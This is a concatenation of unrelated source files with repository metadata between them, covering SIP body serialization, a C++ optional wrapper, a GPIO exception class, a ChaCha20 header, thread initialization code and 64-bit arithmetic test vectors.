CRLF, 2); header = (osip_header_t *) osip_list_get_next(&it); } } if ((osip_list_size (body->headers) > 0) || (body->content_type != NULL)) { if (length < tmp_body - ptr + 3) { size_t len; len = tmp_body - ptr; length = length + 3 + body->length; /* add body->length, to avoid calling realloc often */ ptr = osip_realloc (ptr, length); tmp_body = ptr + len; } tmp_body = osip_strn_append (tmp_body, CRLF, 2); } if (length < tmp_body - ptr + body->length + 4) { size_t len; len = tmp_body - ptr; length = length + body->length + 4; ptr = osip_realloc (ptr, length); tmp_body = ptr + len; } memcpy (tmp_body, body->body, body->length); tmp_body = tmp_body + body->length; /* end of this body */ if (str_length != NULL) *str_length = tmp_body - ptr; *dest = ptr; return OSIP_SUCCESS; } /* deallocates a body structure. */ /* INPUT : osip_body_t *body | body. */ void osip_body_free (osip_body_t * body) { if (body == NULL) return; osip_free (body->body); if (body->content_type != NULL) { osip_content_type_free (body->content_type); } osip_list_special_free (body->headers, (void (*)(void *)) &osip_header_free); osip_free (body->headers); osip_free (body); }
26.989224
124
0.648567
2079c8d7772bf581dec32aa6f97c9086dbcb53ab
5,656
h
C
include/Optional.h
bedder/CppHelperHeaders
5a4cf2a3007149255fb7cf00fbce37b619ceace3
[ "MIT" ]
null
null
null
include/Optional.h
bedder/CppHelperHeaders
5a4cf2a3007149255fb7cf00fbce37b619ceace3
[ "MIT" ]
null
null
null
include/Optional.h
bedder/CppHelperHeaders
5a4cf2a3007149255fb7cf00fbce37b619ceace3
[ "MIT" ]
null
null
null
//////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2016 Matthew Bedder (bedder@gmail.com) // // This code has been released under the MIT license. See the LICENSE file in // the project root for more information //////////////////////////////////////////////////////////////////////////////// #pragma once #include <memory> namespace helper { namespace optional { //////////////////////////////////////////////////////////////////////////////// // EmptyParameterList // A empty utility class - This allows us to differentiate between the CTOR // of Optional that should default-construct T from the CTOR of Optional that // shouldn't construct a T object. //////////////////////////////////////////////////////////////////////////////// class ConstructFromParameterList {}; //////////////////////////////////////////////////////////////////////////////// // Optional<T> // Defines a class that potentially owns an instance of T. This should not be // used directly - use Copyable or NonCopyable depending on whether you want // copy CTORs to be applied to the managed data item. // // Note that any instances of T are managed using smart pointers, and // therefore live on the heap. It might be worth trying to avoid using // Copyable/NonCopyable to manage large data structures //////////////////////////////////////////////////////////////////////////////// template <typename T> class Optional { public: // Basic operators operator bool() const { return static_cast<bool>(t_); } T* operator->() { return t_.get(); } T& operator*() { return *(t_.get()); } void release() { t_.release(); } protected: // CTOR - Create a Optional<T> constructing T from an argument list template <typename... Args> explicit Optional(const ConstructFromParameterList&, Args... args) : t_(std::make_unique<T>(args...)) {} // Default CTOR - Create a Optional<T> that doesn't own a T explicit Optional() : t_() {} // Move CTOR explicit Optional(std::unique_ptr<T> t) : t_(std::move(t)) {} // The managed resource std::unique_ptr<T> t_; }; //////////////////////////////////////////////////////////////////////////////// // Copyable<T> // Defines a class that potentially owns an instance of T. Copies of Copyable // objects makes copies of any managed T instances, so this class should be // used sparingly. //////////////////////////////////////////////////////////////////////////////// template <typename T> class Copyable : public Optional<T> { public: template <typename U, typename... Args> friend Copyable<U> make_copyable(Args... args); // Default CTOR - Create a Copyable<T> that doesn't own a T Copyable() : Optional<T>() {} // Copy CTORS - These create copies of the managed resource (if any) Copyable(const Copyable& other) : Optional<T>(std::make_unique<T>(*(other.t_))) {} Copyable<T>& operator=(const Copyable<T>& other) { Optional<T>::t_ = std::make_unique<T>(*(other.t_)); return *this; } // Move CTORs - These work as expected Copyable(Copyable&& other) = default; Copyable<T>& operator=(Copyable<T>&& other) = default; protected: // CTOR of Optional constructing a T from an argument list template <typename... Args> explicit Copyable(const ConstructFromParameterList& flag, Args... args) : Optional<T>(flag, args...) {} }; //////////////////////////////////////////////////////////////////////////////// // makeCopyable<T>(Args... args) // A helper function for creating Copyable<T> instances //////////////////////////////////////////////////////////////////////////////// template <typename T, typename... Args> Copyable<T> make_copyable(Args... args) { return Copyable<T>::Copyable(ConstructFromParameterList(), args...); } //////////////////////////////////////////////////////////////////////////////// // NonCopyable<T> // Defines a class that potentially owns an instance of T. Copies of // NonCopyable objects do not copy the underlying data, and instead become // invalid. This could be useful, for example, to allow a class containing // non-copyable objects to be made partially copyable // // (e.g. an object containing std::ofstream instances for logging can be // changed to instead use NonCopyable<std::ofstream> : this means that the // object can be copied, with copies not trying to copy the std::ofstream // objects) //////////////////////////////////////////////////////////////////////////////// template <typename T> class NonCopyable : public Optional<T> { public: template <typename U, typename... Args> friend NonCopyable<U> make_noncopyable(Args... args); // Default CTOR - Create a NonCopyable<T> that doesn't own a T NonCopyable() : Optional<T>() {} // Copy CTORS - These do NOT copy the managed resource, and invalidates any // locally-stored copies NonCopyable(const NonCopyable& other) : Optional<T>() {} NonCopyable<T>& operator=(const NonCopyable<T>& o) { Optional<T>::t_.release(); return *this; } // Move CTORs - These work as expected NonCopyable(NonCopyable&& other) = default; NonCopyable<T>& operator=(NonCopyable<T>&& other) = default; protected: // CTOR of Optional constructing a T from an argument list template <typename... Args> explicit NonCopyable(const ConstructFromParameterList& flag, Args... args) : Optional<T>(flag, args...) {} }; template <typename T, typename... Args> NonCopyable<T> make_noncopyable(Args... args) { return NonCopyable<T>::NonCopyable(ConstructFromParameterList(), args...); } } // namespace optional } // namespace helper
36.25641
80
0.578501
e3c790d50013748b33a2d037ae39210a3bd88ce8
952
h
C
node.h
M1n15try0f7ruth/crypto_tree
225a73c9a68beef01aa1c731e731f8fc24183e2d
[ "Apache-2.0" ]
null
null
null
node.h
M1n15try0f7ruth/crypto_tree
225a73c9a68beef01aa1c731e731f8fc24183e2d
[ "Apache-2.0" ]
null
null
null
node.h
M1n15try0f7ruth/crypto_tree
225a73c9a68beef01aa1c731e731f8fc24183e2d
[ "Apache-2.0" ]
null
null
null
#ifndef __NODE_H__ #define __NODE_H__ //#include "cypher_aes.h" #include <vector> #include <stdint.h> #include <inttypes.h> #include <string> #include <array> #include <cstdlib> #include "int_128.h" struct element { int x, y; //16 bit std::vector<char> description; }; class node { private: std::vector<std::array<uint8_t, 4> > encrypted; // encrypted byte array node * left_node; node * right_node; bool is_root; int_128 pwd; int get_count_right(); int get_count_left(); node * insert_node(std::vector<std::array<uint8_t, 4> > * ex); node * insert_root(std::vector<std::array<uint8_t, 4> > * ex); node * rotate_left(node * x); node * rotate_right(node * x); node * get_left_node(); node * get_right_node(); void set_left_node(node * x); void set_right_node(node * x); public: node(); node(element e, std::string password); element * get_element(std::string password); node * add_node(element e); }; #endif //__NODE_H__
18.307692
72
0.692227
ee2ea90e120de0d4f42dad01de37491169dac127
672
c
C
1988/src/lib/awkerr.c
keepiru/awkcc
92b2731f488eab98e51df539e00e789bcc8698ce
[ "BSD-2-Clause" ]
70
2022-01-09T20:01:36.000Z
2022-03-13T09:39:34.000Z
1988/src/lib/awkerr.c
keepiru/awkcc
92b2731f488eab98e51df539e00e789bcc8698ce
[ "BSD-2-Clause" ]
1
2022-01-10T07:22:25.000Z
2022-01-10T07:22:25.000Z
1988/src/lib/awkerr.c
keepiru/awkcc
92b2731f488eab98e51df539e00e789bcc8698ce
[ "BSD-2-Clause" ]
8
2022-01-09T20:10:11.000Z
2022-01-19T12:25:55.000Z
/* Copyright (c) 1984, 1985, 1986, 1987, 1988 AT&T All Rights Reserved Note: This software was created by the Bell Laboratories unit of AT&T. Bell Laboratories was subsequently part of Lucent Technologies, later part of Alcatel-Lucent, and now part of Nokia; some copyrights may have been assigned by AT&T to its successors. This license is granted by Nokia solely to the extent of its right to do so. */ #include <stdio.h> #include "ear.h" extern VARP Au_FILENAME; extern VARP tmpvar; extern int getfnr(); awkerr(s) char *s; { fprintf(stderr, "\nawkcc: %s.\n", s); fprintf(stderr, "input record number %d, file %s.\n", getfnr(), TS(Au_FILENAME)); EXIT(1, -1); }
25.846154
82
0.724702
7c31c5d516588d88be47323d79e1bd3de169c349
1,430
h
C
applications/physbam/physbam-lib/Public_Library/PhysBAM_Dynamics/Coupled_Evolution/SURFACE_TENSION_BOUNDARY_CONDITION.h
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
20
2017-07-03T19:09:09.000Z
2021-09-10T02:53:56.000Z
applications/physbam/physbam-lib/Public_Library/PhysBAM_Dynamics/Coupled_Evolution/SURFACE_TENSION_BOUNDARY_CONDITION.h
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
null
null
null
applications/physbam/physbam-lib/Public_Library/PhysBAM_Dynamics/Coupled_Evolution/SURFACE_TENSION_BOUNDARY_CONDITION.h
schinmayee/nimbus
170cd15e24a7a88243a6ea80aabadc0fc0e6e177
[ "BSD-3-Clause" ]
9
2017-09-17T02:05:06.000Z
2020-01-31T00:12:01.000Z
//##################################################################### // Copyright 2010. // This file is part of PhysBAM whose distribution is governed by the license contained in the accompanying file PHYSBAM_COPYRIGHT.txt. //##################################################################### // Class SURFACE_TENSION_BOUNDARY_CONDITION //##################################################################### #ifndef __SURFACE_TENSION_BOUNDARY_CONDITION__ #define __SURFACE_TENSION_BOUNDARY_CONDITION__ #include <PhysBAM_Geometry/Grids_Uniform_Level_Sets/LEVELSET_POLICY_UNIFORM.h> #include <PhysBAM_Dynamics/Coupled_Evolution/IMPLICIT_BOUNDARY_CONDITION.h> namespace PhysBAM{ template<class TV> class SURFACE_TENSION_BOUNDARY_CONDITION:public IMPLICIT_BOUNDARY_CONDITION<TV> { typedef VECTOR<int,TV::dimension> TV_INT;typedef typename TV::SCALAR T; typedef typename LEVELSET_POLICY<GRID<TV> >::FAST_LEVELSET_T T_LEVELSET; const T_LEVELSET& levelset; public: T surface_tension_coefficient; SURFACE_TENSION_BOUNDARY_CONDITION(const T_LEVELSET& levelset,T surface_tension_boundary_condition_input); virtual ~SURFACE_TENSION_BOUNDARY_CONDITION(); void Update_Boundary_Conditions(const GRID<TV>& grid,ARRAY<bool,TV_INT>& psi_D,ARRAY<bool,FACE_INDEX<TV::dimension> >& psi_N,ARRAY<T,TV_INT>& p, ARRAY<T,FACE_INDEX<TV::dimension> >& face_velocities,const T time) PHYSBAM_OVERRIDE; }; } #endif
49.310345
148
0.696503
f5c6ae83de1b98095a978b00993fb483fc200c85
1,480
h
C
PiHardwareAbstractionLayer/exceptions/GPIOException.h
disaster0203/PiDashboard
31570be97893663af2695621c9a558a101637d20
[ "MIT" ]
null
null
null
PiHardwareAbstractionLayer/exceptions/GPIOException.h
disaster0203/PiDashboard
31570be97893663af2695621c9a558a101637d20
[ "MIT" ]
null
null
null
PiHardwareAbstractionLayer/exceptions/GPIOException.h
disaster0203/PiDashboard
31570be97893663af2695621c9a558a101637d20
[ "MIT" ]
null
null
null
#pragma once #include "HALException.h" #include <string> namespace hal { namespace exception { /*! * Exception that is thrown if an GPIO operation (read, write, init) failed. */ class GPIOException final : public HALException { public: GPIOException() = delete; GPIOException(const GPIOException& ex) = delete; GPIOException(GPIOException&&) = delete; ~GPIOException() = default; GPIOException& operator=(const GPIOException& ex) = delete; GPIOException& operator=(GPIOException&&) = delete; /*! * Default constructor */ GPIOException(const std::string& cls, const std::string& func, uint8_t pin, const std::string& msg) : HALException(cls, func, msg), m_pin(pin) { } /*! * Return the pin the sensor that caused the exception uses. * \returns the pin of the sensor that throws the exception. */ uint8_t get_pin() const { return m_pin; } /*! * Return the type of the exception. * \returns the type of the exception. */ std::string get_type() override { return "GPIOException"; } /*! * Return the exception message as a formatted string. * \returns the exception message as a formatted string. */ std::string to_string() override { return get_type().append(" in ").append(get_class()).append("_").append(m_function) .append(" with Pin ").append(std::to_string(get_pin())).append(": ").append(get_message()); } protected: uint8_t m_pin; }; } }
25.084746
102
0.658108
9138aecad1780ac921b721ad41a337e33ac8f14e
281
h
C
lib/api/include/subStructFileReaddir.h
JustinKyleJames/irods
59e9db75200e95796ec51ec20eb3b185d9e4b5f5
[ "BSD-3-Clause" ]
333
2015-01-15T15:42:29.000Z
2022-03-19T19:16:15.000Z
lib/api/include/subStructFileReaddir.h
JustinKyleJames/irods
59e9db75200e95796ec51ec20eb3b185d9e4b5f5
[ "BSD-3-Clause" ]
3,551
2015-01-02T19:55:40.000Z
2022-03-31T21:24:56.000Z
lib/api/include/subStructFileReaddir.h
JustinKyleJames/irods
59e9db75200e95796ec51ec20eb3b185d9e4b5f5
[ "BSD-3-Clause" ]
148
2015-01-31T16:13:46.000Z
2022-03-23T20:23:43.000Z
#ifndef SUB_STRUCT_FILE_READDIR_H__ #define SUB_STRUCT_FILE_READDIR_H__ #include "rodsType.h" #include "rcConnect.h" #include "subStructFileRead.h" int rcSubStructFileReaddir( rcComm_t *conn, subStructFileFdOprInp_t *subStructFileReaddirInp, rodsDirent_t **rodsDirent ); #endif
25.545455
122
0.83274
8ce277cfba0cc86b5a2f9afec26d498d97ae0804
3,250
h
C
src/lib/instream.h
pmelendez/dicomsdl
614f10d1397a0a0e9d48d751d880679fffea5c3a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
src/lib/instream.h
pmelendez/dicomsdl
614f10d1397a0a0e9d48d751d880679fffea5c3a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
src/lib/instream.h
pmelendez/dicomsdl
614f10d1397a0a0e9d48d751d880679fffea5c3a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
/* ----------------------------------------------------------------------- * * $Id$ * * Copyright 2010, Kim, Tae-Sung. All rights reserved. * See copyright.txt for details * * -------------------------------------------------------------------- */ #ifndef __INSTREAM_H__ #define __INSTREAM_H__ #include "dicom.h" #include "instreamobj.h" namespace dicom { //------------------------------------------------------ #define NBYTES_TO_READ (65536*2) // 128k block class instream { uint8 *data; // contains file image uint8 *p; // current pointer uint8 *q; // = data + filesize uint8 *_q; // = p + ftell(fp) instreamobj* in; bool own_memory; // true if data needs to be freed. instream *basestream; public: // instream from a file instream(const char *filename); // instream from memory instream(uint8 *data, size_t datasize, bool copydata=false); // instream from 'base' instream instream(instream* basestream, int subsize); ~instream(); // read n bytes from stream // WARNING: do not free returned value from read(), // because read() don't 'new' memory. // read() functions may throw *char on error. uint8* read(int n); inline void rewind() { p = data; }; inline void unread(int n) { p = (p-n > data ? p-n : data); }; inline void skip(int n) { read(n); }; bool iseof() { return (p >= q); }; uint8 *dataptr() { return data; }; uint8 *currptr() { return p; }; uint32 curr_offset() { return (uint32)(p - basestream->data); }; inline uint32 read32u_le() { uint8*p = read(4); return le_get_uint32(p); }; inline uint16 read16u_le() { uint8*p = read(2); return le_get_uint16(p); }; inline uint32 read32u_be() { uint8*p = read(4); return be_get_uint32(p); }; inline uint16 read16u_be() { uint8*p = read(2); return be_get_uint16(p); }; inline uint8 read8u() { return ptr_as_uint8(read(1)); }; inline uint32 read32u(int endian) { return endian == LITTLE_ENDIAN? read32u_le() : read32u_be(); }; inline uint16 read16u(int endian) { return endian == LITTLE_ENDIAN? read16u_le() : read16u_be(); }; inline uint32 read32_le() { uint8*p = read(4); return le_get_int32(p); }; inline uint16 read16_le() { uint8*p = read(2); return le_get_int16(p); }; inline uint32 read32_be() { uint8*p = read(4); return be_get_int32(p); }; inline uint16 read16_be() { uint8*p = read(2); return be_get_int16(p); }; inline int8 read8() { return ptr_as_int8(read(1)); }; inline int32 read32(int endian) { return endian == LITTLE_ENDIAN? read32_le() : read32_be(); }; inline int16 read16(int endian) { return endian == LITTLE_ENDIAN? read16_le() : read16_be(); }; // inflate compressed data portion after offset bytes. // +---------------------+----------------------------- // | non-compressed data | compressed data ... // +---------------------+----------------------------- // <------ offset -------> void inflate(int offset); inline char* get_filename() { return in->get_filename(); }; // trim unfilled data buffer long free_unread_data(); }; } // namespace dicom ------------------------------------------------------ #endif // __INSTREAM_H__
29.816514
76
0.563385
490c6cd706618371a7e3908609bac9ad0b604904
439
h
C
include/SpringBoard/SBHomeScreenEntity.h
ItHertzSoGood/DragonBuild
1aaf6133ab386ba3a5165a4b29c080ca8d814b52
[ "MIT" ]
3
2020-06-20T02:53:25.000Z
2020-11-07T08:39:13.000Z
include/SpringBoard/SBHomeScreenEntity.h
ItHertzSoGood/DragonBuild
1aaf6133ab386ba3a5165a4b29c080ca8d814b52
[ "MIT" ]
null
null
null
include/SpringBoard/SBHomeScreenEntity.h
ItHertzSoGood/DragonBuild
1aaf6133ab386ba3a5165a4b29c080ca8d814b52
[ "MIT" ]
1
2020-07-26T02:16:06.000Z
2020-07-26T02:16:06.000Z
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Mar 22 2020 01:47:48). // // Copyright (C) 1997-2019 Steve Nygard. // #import <SpringBoard/SBWorkspaceEntity.h> @interface SBHomeScreenEntity : SBWorkspaceEntity { } - (void)_setMainDisplayPreferredInterfaceOrientation:(long long)arg1; - (long long)_mainDisplayPreferredInterfaceOrientation; - (BOOL)isHomeScreenEntity; - (long long)layoutRole; - (id)init; @end
20.904762
90
0.747153
ad5bc094e79bb9c108cd37f67b203969fffd0305
4,308
c
C
src/cc/thread.c
emc2/masters-thesis
354d8e69524e6cd64b01f32758bd09b631f2640f
[ "BSD-3-Clause" ]
null
null
null
src/cc/thread.c
emc2/masters-thesis
354d8e69524e6cd64b01f32758bd09b631f2640f
[ "BSD-3-Clause" ]
null
null
null
src/cc/thread.c
emc2/masters-thesis
354d8e69524e6cd64b01f32758bd09b631f2640f
[ "BSD-3-Clause" ]
null
null
null
/* Copyright (c) 2007, 2008 Eric McCorkle. All rights reserved. */ #include <string.h> #include "definitions.h" #include "atomic.h" #include "cc/thread.h" /* Global invariant: bijection between increments and thread * creations, and decrements and thread destructions. */ static volatile atomic_uint_t thread_num; /* Global invariant: monotonically increasing */ static volatile atomic_uint_t thread_id; internal void thread_init(thread_t* restrict thread, const thread_stat_t* restrict stat, const thread_mbox_t mbox) { INVARIANT(thread != NULL); INVARIANT(stat->t_sched_stat == T_STAT_RUNNABLE || stat->t_sched_stat == T_STAT_SUSPEND); PRINTD("Initializing thread %p\n", thread); thread->t_id = atomic_fetch_inc_uint(&thread_id); atomic_increment_uint(&thread_num); #ifdef INTERACTIVE thread->t_hard_pri = stat->t_pri; #endif /* A thread cannot be initialized to RUNNABLE. This must be set by * the activate function. Set to NONE instead. */ thread->t_sched_stat_ref.value = T_STAT_RUNNABLE == stat->t_sched_stat ? T_STAT_NONE : stat->t_sched_stat; memcpy((void*)(thread->t_mbox), mbox, sizeof(thread_mbox_t)); PRINTD("State/ref count: %x\n", thread->t_sched_stat_ref.value); PRINTD("Initial mailbox state for thread %p: %p = [%p, %p, %p, %p\n" " %p, %p, %p]\n", thread, thread->t_mbox, ((void**)(thread->t_mbox))[0], ((void**)(thread->t_mbox))[1], ((void**)(thread->t_mbox))[2], ((void**)(thread->t_mbox))[3], ((void**)(thread->t_mbox))[4], ((void**)(thread->t_mbox))[5], ((void**)(thread->t_mbox))[6]); INVARIANT((thread->t_sched_stat_ref.value & T_STAT_MASK) == stat->t_sched_stat || ((thread->t_sched_stat_ref.value & T_STAT_MASK) == T_STAT_NONE && stat->t_sched_stat == T_STAT_RUNNABLE)); INVARIANT(!(thread->t_sched_stat_ref.value & T_REF)); /* Global invariants: * - Thread ID's are unique. * - thread_id is monotonically increasing. * - Bijection between thread creations and increments to thread_num */ } internal void thread_destroy(unused thread_t* restrict thread) { INVARIANT(thread != NULL); PRINTD("Destroying thread %p\n", thread); atomic_decrement_uint(&thread_num); if(NULL != thread->t_destroy) thread->t_destroy(thread); /* Global invariants: * - Bijection between thread deletions and decrements to thread_num */ } internal unsigned int thread_count(void) { return thread_num.value; } internal pure volatile retaddr_t* thread_mbox_retaddr(volatile thread_mbox_t mbox) { volatile retaddr_t* const out = (volatile retaddr_t*)mbox; return out; } internal pure volatile void* volatile * thread_mbox_stkptr(volatile thread_mbox_t mbox) { volatile retaddr_t* const ptr = thread_mbox_retaddr(mbox); volatile void* volatile * const out = (volatile void* volatile *)(ptr + 1); return out; } internal pure volatile unsigned int* thread_mbox_executor(volatile thread_mbox_t mbox) { volatile void* volatile * const ptr = thread_mbox_stkptr(mbox); volatile unsigned int* const out = (volatile unsigned int*)(ptr + 1); return out; } internal pure volatile atomic_uint_t* volatile * thread_mbox_sigptr(volatile thread_mbox_t mbox) { volatile unsigned int* const ptr = thread_mbox_executor(mbox); volatile atomic_uint_t* volatile * const out = (volatile atomic_uint_t* volatile *)(ptr + 1); return out; } internal pure volatile unsigned int* thread_mbox_write_log_index(volatile thread_mbox_t mbox) { volatile atomic_uint_t* volatile * const ptr = thread_mbox_sigptr(mbox); volatile unsigned int* const out = (volatile unsigned int*)(ptr + 1); return out; } internal pure volatile gc_log_entry_t* volatile * thread_mbox_write_log(volatile thread_mbox_t mbox) { volatile unsigned int* const ptr = thread_mbox_write_log_index(mbox); volatile gc_log_entry_t* volatile * const out = (volatile gc_log_entry_t* volatile *)(ptr + 1); return out; } internal pure volatile gc_allocator_t* volatile * thread_mbox_allocators(volatile thread_mbox_t mbox) { volatile gc_log_entry_t* volatile *const ptr = thread_mbox_write_log(mbox); volatile gc_allocator_t* volatile * const out = (volatile gc_allocator_t* volatile *)(ptr + 1); return out; }
26.757764
77
0.714717
4ec9e44b42cf085ba52af7bd98d07d5267358183
1,104
h
C
snapshots/hacl-c-compcert/Chacha20_Vec128.h
blipp/hacl-star
1442c015dab97cdf203ae238b1f3aeccf511bd1e
[ "Apache-2.0" ]
1
2021-07-26T16:09:46.000Z
2021-07-26T16:09:46.000Z
snapshots/hacl-c-compcert/Chacha20_Vec128.h
blipp/hacl-star
1442c015dab97cdf203ae238b1f3aeccf511bd1e
[ "Apache-2.0" ]
null
null
null
snapshots/hacl-c-compcert/Chacha20_Vec128.h
blipp/hacl-star
1442c015dab97cdf203ae238b1f3aeccf511bd1e
[ "Apache-2.0" ]
null
null
null
/* This file was auto-generated by KreMLin! */ #include "kremlib.h" #ifndef __Chacha20_Vec128_H #define __Chacha20_Vec128_H #include "FStar.h" #include "testlib.h" #include "vec128.h" typedef uint32_t Hacl_Impl_Xor_Lemmas_u32; typedef uint8_t Hacl_Impl_Xor_Lemmas_u8; typedef uint32_t Hacl_Impl_Chacha20_Vec128_State_u32; typedef uint32_t Hacl_Impl_Chacha20_Vec128_State_h32; typedef uint8_t *Hacl_Impl_Chacha20_Vec128_State_uint8_p; typedef vec *Hacl_Impl_Chacha20_Vec128_State_state; typedef uint32_t Hacl_Impl_Chacha20_Vec128_u32; typedef uint32_t Hacl_Impl_Chacha20_Vec128_h32; typedef uint8_t *Hacl_Impl_Chacha20_Vec128_uint8_p; typedef uint32_t Hacl_Impl_Chacha20_Vec128_idx; typedef struct { void *k; void *n; uint32_t ctr; } Hacl_Impl_Chacha20_Vec128_log_t_; typedef void *Hacl_Impl_Chacha20_Vec128_log_t; typedef uint8_t *Chacha20_Vec128_uint8_p; void *Chacha20_Vec128_op_String_Access(FStar_Monotonic_HyperStack_mem h, uint8_t *b); void Chacha20_Vec128_chacha20( uint8_t *output, uint8_t *plain, uint32_t len, uint8_t *k, uint8_t *n1, uint32_t ctr ); #endif
20.072727
85
0.826087
af08f8d1a98482c810960677171c89db20d67062
75,299
h
C
common/xbee/test/util/jsll_vectors.h
UBC-Rocket/Whistler-Blackcomb-v2
eafb13808d4ca84d9cc66179fd57a8ec0d39163a
[ "MIT" ]
2
2020-11-09T20:05:42.000Z
2021-01-27T01:48:37.000Z
common/xbee/test/util/jsll_vectors.h
roguextech/UBC-Rocket-Whistler-Blackcomb-v2
aafdbc8a2c0ea0b36cf45454b535d581e92f88e4
[ "MIT" ]
27
2020-10-25T18:01:52.000Z
2022-03-18T02:41:01.000Z
common/xbee/test/util/jsll_vectors.h
roguextech/UBC-Rocket-Whistler-Blackcomb-v2
aafdbc8a2c0ea0b36cf45454b535d581e92f88e4
[ "MIT" ]
1
2021-01-27T01:48:42.000Z
2021-01-27T01:48:42.000Z
// file generated by jsll_gen.c on a system with 64-bit integers #define SHIFT_BITS 13 typedef struct testrec_t { JSInt64 a, b, add, sub, mul, and, or, xor, not, neg; JSInt64 shl, shr, ushr; int32_t l2i; uint32_t l2ui; JSInt64 i2l; JSUint64 ui2l; const char *hexstr, *decstr, *udecstr; bool_t gtu, ltu, gt, lt; } testrec_t; const testrec_t tests[] = { { // record 0 JSLL_INIT( 0x00000000, 0x00000000 ), // a JSLL_INIT( 0x00005852, 0x34de8ccf ), // b JSLL_INIT( 0x00005852, 0x34de8ccf ), // a + b JSLL_INIT( 0xffffa7ad, 0xcb217331 ), // a - b JSLL_INIT( 0x00000000, 0x00000000 ), // a * b JSLL_INIT( 0x00000000, 0x00000000 ), // a & b JSLL_INIT( 0x00005852, 0x34de8ccf ), // a | b JSLL_INIT( 0x00005852, 0x34de8ccf ), // a ^ b JSLL_INIT( 0xffffffff, 0xffffffff ), // ~a JSLL_INIT( 0x00000000, 0x00000000 ), // -a JSLL_INIT( 0x00000000, 0x00000000 ), // a << 13 JSLL_INIT( 0x00000000, 0x00000000 ), // a >> 13 (signed) JSLL_INIT( 0x00000000, 0x00000000 ), // a >> 13 (unsigned) 0, UINT32_C(0), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x00000000 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x00000000 ), // (uint64_t)(uint32_t)a "0000000000000000", // a (hexadecimal) "0", // a (signed decimal) "0", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 1 JSLL_INIT( 0x976bab8f, 0x61995b04 ), // a JSLL_INIT( 0x41faa1e3, 0xcfa159d8 ), // b JSLL_INIT( 0xd9664d73, 0x313ab4dc ), // a + b JSLL_INIT( 0x557109ab, 0x91f8012c ), // a - b JSLL_INIT( 0xe9b6347f, 0x238d2f60 ), // a * b JSLL_INIT( 0x016aa183, 0x41815900 ), // a & b JSLL_INIT( 0xd7fbabef, 0xefb95bdc ), // a | b JSLL_INIT( 0xd6910a6c, 0xae3802dc ), // a ^ b JSLL_INIT( 0x68945470, 0x9e66a4fb ), // ~a JSLL_INIT( 0x68945470, 0x9e66a4fc ), // -a JSLL_INIT( 0x7571ec33, 0x2b608000 ), // a << 13 JSLL_INIT( 0xfffcbb5d, 0x5c7b0cca ), // a >> 13 (signed) JSLL_INIT( 0x0004bb5d, 0x5c7b0cca ), // a >> 13 (unsigned) 1637440260, UINT32_C(1637440260), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x61995b04 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x61995b04 ), // (uint64_t)(uint32_t)a "976bab8f61995b04", // a (hexadecimal) "-7535740919168279804", // a (signed decimal) "10911003154541271812", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 2 JSLL_INIT( 0x5712fcd3, 0x5f74b7ff ), // a JSLL_INIT( 0x68efd8dd, 0xce0fbaf1 ), // b JSLL_INIT( 0xc002d5b1, 0x2d8472f0 ), // a + b JSLL_INIT( 0xee2323f5, 0x9164fd0e ), // a - b JSLL_INIT( 0xedd71960, 0xa4817d0f ), // a * b JSLL_INIT( 0x4002d8d1, 0x4e04b2f1 ), // a & b JSLL_INIT( 0x7ffffcdf, 0xdf7fbfff ), // a | b JSLL_INIT( 0x3ffd240e, 0x917b0d0e ), // a ^ b JSLL_INIT( 0xa8ed032c, 0xa08b4800 ), // ~a JSLL_INIT( 0xa8ed032c, 0xa08b4801 ), // -a JSLL_INIT( 0x5f9a6bee, 0x96ffe000 ), // a << 13 JSLL_INIT( 0x0002b897, 0xe69afba5 ), // a >> 13 (signed) JSLL_INIT( 0x0002b897, 0xe69afba5 ), // a >> 13 (unsigned) 1601484799, UINT32_C(1601484799), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x5f74b7ff ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x5f74b7ff ), // (uint64_t)(uint32_t)a "5712fcd35f74b7ff", // a (hexadecimal) "6274355215650306047", // a (signed decimal) "6274355215650306047", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 3 JSLL_INIT( 0xfb068919, 0xe4062f7a ), // a JSLL_INIT( 0x1a3e792f, 0x9f00702c ), // b JSLL_INIT( 0x15450249, 0x83069fa6 ), // a + b JSLL_INIT( 0xe0c80fea, 0x4505bf4e ), // a - b JSLL_INIT( 0xc2da1d18, 0xabd588f8 ), // a * b JSLL_INIT( 0x1a060909, 0x84002028 ), // a & b JSLL_INIT( 0xfb3ef93f, 0xff067f7e ), // a | b JSLL_INIT( 0xe138f036, 0x7b065f56 ), // a ^ b JSLL_INIT( 0x04f976e6, 0x1bf9d085 ), // ~a JSLL_INIT( 0x04f976e6, 0x1bf9d086 ), // -a JSLL_INIT( 0xd1233c80, 0xc5ef4000 ), // a << 13 JSLL_INIT( 0xffffd834, 0x48cf2031 ), // a >> 13 (signed) JSLL_INIT( 0x0007d834, 0x48cf2031 ), // a >> 13 (unsigned) -469356678, UINT32_C(3825610618), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0xe4062f7a ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0xe4062f7a ), // (uint64_t)(uint32_t)a "fb068919e4062f7a", // a (hexadecimal) "-358448376036577414", // a (signed decimal) "18088295697672974202", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 4 JSLL_INIT( 0xdf4e73e2, 0x99f7df74 ), // a JSLL_INIT( 0x8e94289b, 0x40dc5faf ), // b JSLL_INIT( 0x6de29c7d, 0xdad43f23 ), // a + b 